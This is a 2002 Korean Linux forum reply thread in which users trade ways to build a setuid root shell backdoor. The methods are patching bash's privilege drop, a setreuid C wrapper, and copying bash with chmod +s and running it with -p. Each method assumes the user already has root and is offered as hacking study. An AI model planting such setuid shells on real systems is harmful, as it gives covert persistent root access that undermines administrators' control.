>> Read Reply from No. 2826 article  
RE: 더 간단한 방법

등록 2002-09-12 17:25:00     조회 4
이름 ThePhantom    

		그..그냥
[test@test test]$ su
emoticon;;
    : sh-2.05# bash --version
: GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
: Copyright 2000 Free Software Foundation, Inc.
:
: sh-2.05# cp /bin/bash .
:
: sh-2.05# chmod +s bash
:
: sh-2.05# su test
:
: [test@test test]$ id
: uid=624(test) gid=512(test) groups=512(test)
:
: [test@test test]$ ./bash -p
:
: bash-2.05# id
: uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test)
:
: : 안녕하세요?
: :
: : 훨씬 더 간단한 방법이 있었군요. =_=
: :
: : 제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...
: : 성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.
: :
: : 성현님의 방법이 더 간단한 듯... emoticon
: :
: : 팁 감사합니다.
: :
: : 그럼...
: :
: :
: : : C에서 setreuid() 함수도 setuid 안먹히나요?
: : :
: : : [jsh83@gelug jsh83]$ bash --version
: : : GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
: : : Copyright 2000 Free Software Foundation, Inc.
: : : [jsh83@gelug jsh83]$
: : :
: : : 버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;
: : :
: : : <pre>#include <stdio.h>
: : : #include <stdlib.h>
: : : #include <sys/types.h>
: : : #include <unistd.h>
: : :
: : : int main(void)
: : : {
: : :         int n;
: : :
: : :         setreuid(0, 510); // 510은 jsh83의 권한
: : :         system("/usr/bin/id");
: : :
: : :         exit(0);
: : : }
: : :
: : : </pre>
: : : 위와 같이 파일 만들어서 루트권한으로 컴파일 한 후
: : :
: : : chmod 4751 파일명 && chgrp jsh83 파일명
: : :
: : : 하니깐 잘 되던데요.. 이번엔 안되는지요?
: : :
: : : : 안녕하세요?
: : : :
: : : : 요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
: : : : 려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.
: : : :
: : : : 이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
: : : : 법에 대해 간단히 적혀있습니다.
: : : :
: : : : 해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
: : : : 이 지시기 바랍니다. emoticon
: : : :
: : : :
: : : : ** 준비물 **
: : : : bash 최신 버전 (bash-2.05b.tar.gz)
: : : : 슈퍼 유저 권한
: : : :
: : : : bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,
: : : : ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로
: : : : 설명하지 않겠습니다.
: : : :
: : : :
: : : : ** root shell 만들기 **
: : : : 우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
: : : : 2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
: : : : 는 위, 아래 라인을 잘 살펴보세요)
: : : :
: : : : if (running_setuid && privileged_mode == 0)
: : : :   disable_priv_mode ();
: : : :
: : : : 간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.
: : : :
: : : : ->
: : : : if (running_setuid && privileged_mode == 0);
: : : :   /* disable_priv_mode (); */
: : : :
: : : : if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...
: : : :
: : : : 다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을
: : : : 적는다면...
: : : :
: : : : $ ./configure --enable-static-link --disable-history
: : : :
: : : : 뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
: : : : 일됩니다.
: : : :
: : : : 다음에 루트 권한으로 쑤시는 명령들...
: : : :
: : : : # chown root.root bash
: : : : # chmod 6755 bash
: : : : # ls -l bash
: : : : -rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
: : : : #
: : : :
: : : : 오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...
: : : :
: : : : $ ./bash
: : : : # id
: : : : # uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
: : : : (users)
: : : :
: : : : euid, guid가 root로 된 것을 확인할 수 있습니다.
: : : :
: : : :
: : : : 유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
: : : : 으면 합니다.
: : : :
: : : : 그럼...
: : :
: : : --
: : : L!nux 사랑, 세벌식 사랑, 나라 사랑
: : : <img src="http://www.gelug.pe.kr/gelug.gif">
이름
암호


>> 관련글
2826 더 간단한 방법  nobody  2002.09.12  ....
  답장 RE: 더 간단한 방법  ThePhantom  2002.09.12  ....
  목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.53 초 ] 작업시간: [ 0.05 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1791017804
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.